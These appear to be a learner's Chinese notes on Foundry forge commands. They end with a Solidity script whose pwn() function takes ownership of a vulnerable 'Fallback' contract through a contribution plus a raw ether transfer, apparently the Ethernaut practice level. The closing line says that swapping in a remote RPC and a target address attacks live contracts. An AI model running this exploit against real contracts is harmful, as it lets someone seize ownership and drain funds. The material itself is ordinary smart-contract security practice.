forge

https://learnblockchain.cn/docs/foundry/i18n/zh/forge/writing-tests.html

创建新项目

forge init xxx

forge测试合约以及函数

forge build src/Contract.sol 				//  执行单个脚本
forge build src/Contract.sol --debug // open script in debugger
forge build src/Contract.sol --sig "foo(string)" "hi" //  执行单一函数

找到bugs之后可以使用-v来获得更多细节

debug with logs -vv
debug with traces for failing tests -vvv
debug with traces for all tests -vvvv

部署合约

forge create --rpc-url <url> --private-key <xx> src/xxx.sol:contract

Script

这个好用

forge script script/Counter.s.sol --rpc-url <url> --broadcast

可以用solidity来交互

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Fallback} from "../src/Counter.sol";

contract CounterScript is Script {
    Fallback public counter;

    function setUp() public {}

    function run() public {
        // address owner = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266); // private key 0 to deploy
        // vm.startBroadcast(owner); // 模拟广播
        uint256 ownerPrivateKey = vm.envUint("OWNER_PRIVATE_KEY");
        vm.startBroadcast(ownerPrivateKey);

        // counter = new Fallback();
        counter = Fallback(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3));
        console.log("Contract deployed at: ", address(counter));
        console.log("The true owner of contract is: ", counter.owner());

        vm.stopBroadcast();

        pwn();
    }

    function pwn() public {

        // address user = address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8);
        // vm.startBroadcast(user);
        uint256 userPrivateKey = vm.envUint("USER_PRIVATE_KEY"); 
        vm.startBroadcast(userPrivateKey);

        counter.contribute{value: 0.0001 ether}();
        console.log("Now My account:", counter.getContribution());
        console.log("The before owner of contract is: ", counter.owner());
        (bool success, ) = address(counter).call{value: 1 wei}("");
        require(success, "ETH transfer failed");
        console.log("The after owner of contract is: ", counter.owner());

        vm.stopBroadcast();
    }
}

只要rpc改为远程，再把deploy改了counter改为目标合约地址就可以打远程了
